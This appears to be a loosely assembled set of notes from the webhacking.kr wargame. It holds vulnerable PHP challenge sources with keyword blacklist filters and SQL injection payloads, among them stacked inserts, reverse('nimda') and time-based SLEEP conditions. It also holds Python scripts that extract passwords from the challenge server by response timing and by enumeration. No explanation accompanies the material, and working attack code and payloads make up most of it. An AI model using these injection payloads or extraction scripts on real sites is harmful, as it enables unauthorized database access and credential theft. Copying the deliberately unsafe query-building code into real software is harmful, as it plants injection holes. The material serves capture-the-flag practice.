<?
echo("<a href=index_lolll.phps>source</a>");
if(!$_GET[id]) $_GET[id]="guest";
echo("<html><head><title>Challenge 61</title></head><body>");
if(eregi("\(|\)|union|select|challenge|from|,|by|\.",$_GET[id])) exit("Access Denied");
if(strlen($_GET[id])>18) exit("Access Denied");
$q=@mysql_fetch_array(mysql_query("select $_GET[id] from c_61 order by id desc limit 1"));
echo("<b>$q[id]</b><br>");
if($q[id]=="admin") @clear();
echo("</body></html>");
?>
<?
sleep(1);
if(eregi("[0-9]",$_COOKIE[PHPSESSID])) exit("Access Denied<br><a href=index.phps>index.phps</a>");
if($_GET[mode]=="auth")
{
echo("Auth~<br>");
$f=@file("readme/$_SESSION[id].txt");
for($i=0;$i<=strlen($f);$i++)
{
$result.=$f[$i];
}
if(eregi("$_SESSION[id]",$result))
{
echo("Done!");
@unlink("readme/$_SESSION[id].txt");
@clear();
exit();
}
}
$f=@fopen("readme/$_SESSION[id].txt","w");
@fwrite($f,"$_SESSION[id]");
@fclose($f);
if($_SERVER[REMOTE_ADDR]!="127.0.0.1")
{
sleep(1);
@unlink("readme/$_SESSION[id].txt");
}
?>
Auth~<br>Done!<script>alert('Congratulation!');</script><center><h1><br><br><hr>
<font color=gray>You have cleared the 60 problems.</font><br><br><font color=gre
en><b>Score + 300</b></font><br><hr></h1></center>
<?
if($_POST[lid] && $_POST[lphone])
{
$q=@mysql_fetch_array(mysql_query("select id,lv from c59 where id='$_POST[lid]' and phone='$_POST[lphone]'"));
if($q[id])
{
echo("id : $q[id]<br>lv : $q[lv]<br><br>");
if($q[lv]=="admin")
{
@mysql_query("delete from c59");
@clear();
}
echo("<br><a href=index.php>back</a>");
exit();
}
}
if($_POST[id] && $_POST[phone])
{
if(strlen($_POST[phone])>=20) exit("Access Denied");
if(eregi("admin",$_POST[id])) exit("Access Denied");
if(eregi("admin|0x|#|hex|char|ascii|ord|from|select|union",$_POST[phone])) exit("Access Denied");
@mysql_query("insert into c59 values('$_POST[id]',$_POST[phone],'guest')");
}
?>
"select id,lv from c59 where id=''; insert into c59 values(CHAR(97),CHAR(97),CHAR(97,100,109,105,110)); #$_POST[lid]' and phone='$_POST[lphone]'"
'1',REPLACE('zdmin','z','a') --
1,reverse('nimda')--
1,reverse(id));--
kk=document.URL; kk=kk.substr(10,4);
<?
$secret_key="????";
if(time()>1309064400) exit("오후 2시에 공개됩니다.");
if($_POST[pw])
{
if($_POST[pw]==$secret_key)
{
mysql_query("delete from challenge57msg");
@solve();
exit();
}
}
if($_GET[msg] && $_GET[se])
{
if(eregi("from|union|select|and|or|not|&|\||benchmark",$_GET[se])) exit("Access Denied");
mysql_query("insert into challenge57msg(id,msg,pw,op) values('$_SESSION[id]','$_GET[msg]','$secret_key',$_GET[se])");
echo("Done<br><br>");
}
?>
hi','hi all',1); #
SELECT * FROM products WHERE id=1-IF(MID(VERSION(),1,1) = '5', SLEEP(15), 0)
#!/usr/bin/env python
# -*- coding: utf8 -*-
import urllib, urllib2, time
sess = ""
headers = {'Host': 'webhacking.kr',
'Cookie': "PHPSESSID={}".format(sess)
}
pw = ''
for j in range(32,132):
url = 'http://webhacking.kr/challenge/web/web-34/index.php?msg=m&se=if(substr(pw,1,1)={},sleep(2),0)'.format(hex(j))
req = urllib2.Request(url, '', headers)
start_time = time.time()
response = urllib2.urlopen(req).read()
time = time.time() - start_time
print time, chr(j)
0.100000143051 0.108999967575 0.104000091553 0.0979998111725 0.0980000495911 0.101999998093 0.0970001220703 0.115999937057 2.10299992561 0.113000154495 0.105000019073 0.101999998093
hkpHKP0.%_
[('h', 'k', 'p', '.'), ('h', 'k', '.', 'p'), ('h', 'p', 'k', '.'), ('h', 'p', '.', 'k'), ('h', '.', 'k', 'p'), ('h', '.', 'p', 'k'), ('k', 'h', 'p', '.'), ('k', 'h', '.', 'p'), ('k', 'p', 'h', '.'), ('k', 'p', '.', 'h'), ('k', '.', 'h', 'p'), ('k', '.', 'p', 'h'), ('p', 'h', 'k', '.'), ('p', 'h', '.', 'k'), ('p', 'k', 'h', '.'), ('p', 'k', '.', 'h'), ('p', '.', 'h', 'k'), ('p', '.', 'k', 'h'), ('.', 'h', 'k', 'p'), ('.', 'h', 'p', 'k'), ('.', 'k', 'h', 'p'), ('.', 'k', 'p', 'h'), ('.', 'p', 'h', 'k'), ('.', 'p', 'k', 'h')]
('k', '.', 'p', 'h')
<!-- hint rank table ==================== ip ( = id ) score **password** --> small letter ==================== -->
http://webhacking.kr/challenge/web/web-31/rank.php?score=48851132%20or%20substr%28password,1,1%29=a
right(left(password,1),1)
0 limit 2, 1 procedure analyse()
http://webhacking.kr/challenge/web/web-31/rank.php?score=2147483647%20or%20right(left(컬럼,{}),1)={}
<script>
function run(){
if(window.ActiveXObject){
try {
return new ActiveXObject('Msxml2.XMLHTTP');
} catch (e) {
try {
return new ActiveXObject('Microsoft.XMLHTTP');
} catch (e) {
return null;
}
}
}else if(window.XMLHttpRequest){
return new XMLHttpRequest();
}else{
return null;
}
}
x=run();
function answer(i)
{
x.open('GET','?m='+i,false);
x.send(null);
aview.innerHTML=x.responseText;
i++;
if(x.responseText) setTimeout("answer("+i+")",100);
if(x.responseText=="") aview.innerHTML="?";
}
setTimeout("answer(0)",10000);
</script>
#!/usr/bin/env python
# -*- coding: utf8 -*-
import urllib, urllib2, re
sess = ""
headers = {'Host': 'webhacking.kr',
'Cookie': "PHPSESSID={}".format(sess),
'Referer': 'http://webhacking.kr/challenge/bonus/bonus-14/'
}
pw = ''
for i in range(0,33):
url = 'http://webhacking.kr/challenge/bonus/bonus-14/?m={}'.format(i)
req = urllib2.Request(url, '', headers)
response = urllib2.urlopen(req).read()
pw = pw + str(response)
print pw
<html>
<head>
<title>Challenge 53</title>
</head>
<body>
hello world
<br><br><br>
<?
if(time()<1260615600) exit();
$hidden_table="????";
if($_GET[answer]==$hidden_table)
{
@solve();
exit();
}
if(eregi("union",$_GET[val])) exit();
if(eregi("select",$_GET[val])) exit();
if(eregi("from",$_GET[val])) exit();
if(eregi("/",$_GET[val])) exit();
if(eregi("\*",$_GET[val])) exit();
if(eregi("#",$_GET[val])) exit();
if(eregi("-",$_GET[val])) exit();
if(eregi(",",$_GET[val])) exit();
if(eregi("=",$_GET[val])) exit();
if(eregi("!",$_GET[val])) exit();
if(eregi("\|",$_GET[val])) exit();
if(eregi("by",$_GET[val])) exit();
$f=@mysql_fetch_array(mysql_query("select test1 from $hidden_table where test2=$_GET[val]"));
echo($f[0]);
if($f)
{
echo("<br><br><form method=get action=index.php>challenge53 TABLE NAME : <input type=text name=answer size=50><input type=submit></form>");
}
?>
<!-- index.phps -->
</body>
</html>
2%20or%201
procedure analyse()
1 procedure analyse() #